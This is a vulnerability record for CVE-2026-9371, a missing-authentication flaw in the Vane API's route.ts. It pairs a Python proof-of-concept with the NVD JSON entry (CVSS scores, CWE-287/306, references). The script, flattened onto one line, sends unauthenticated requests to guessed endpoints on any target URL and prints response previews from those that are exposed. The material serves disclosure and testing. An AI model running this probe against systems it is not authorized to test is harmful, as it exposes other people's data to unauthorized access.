CVE-2026-9371

import requests import sys def exploit_cve_2026_9371(target_url): """ CVE-2026-9371 PoC - ItzCrazyKns Vane Missing Authentication Target: route.ts API endpoint """ # Vulnerable API endpoint endpoints = [ "/api/route", "/api/v1/route", "/route", "/api/file/route" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-9371 - Missing Authentication in Vane API") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) print(f"\n[+] Testing endpoint: {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code == 200: print(f" [!] Vulnerable! Endpoint accessible without authentication") print(f" Response preview: {response.text[:200]}") elif response.status_code == 401: print(f" [-] Protected endpoint") else: print(f" [-] Unexpected status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2026_9371(target)

{"cve": {"id": "CVE-2026-9371", "sourceIdentifier": "[email protected]", "published": "2026-05-24T10:16:16.687", "lastModified": "2026-05-26T19:54:40.357", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in ItzCrazyKns Vane up to 1.12.1. Affected by this issue is some unknown functionality of the file route.ts of the component API. The manipulation leads to missing authentication. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitation is known to be difficult. The exploit has been disclosed publicly and may be used. It appears that basic authentication is planned."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/ItzCrazyKns/Vane/", "source": "[email protected]"}, {"url": "https://github.com/ItzCrazyKns/Vane/issues/1122", "source": "[email protected]"}, {"url": "https://github.com/ItzCrazyKns/Vane/issues/1123", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813209", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813210", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365334", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365334/cti", "source": "[email protected]"}]}}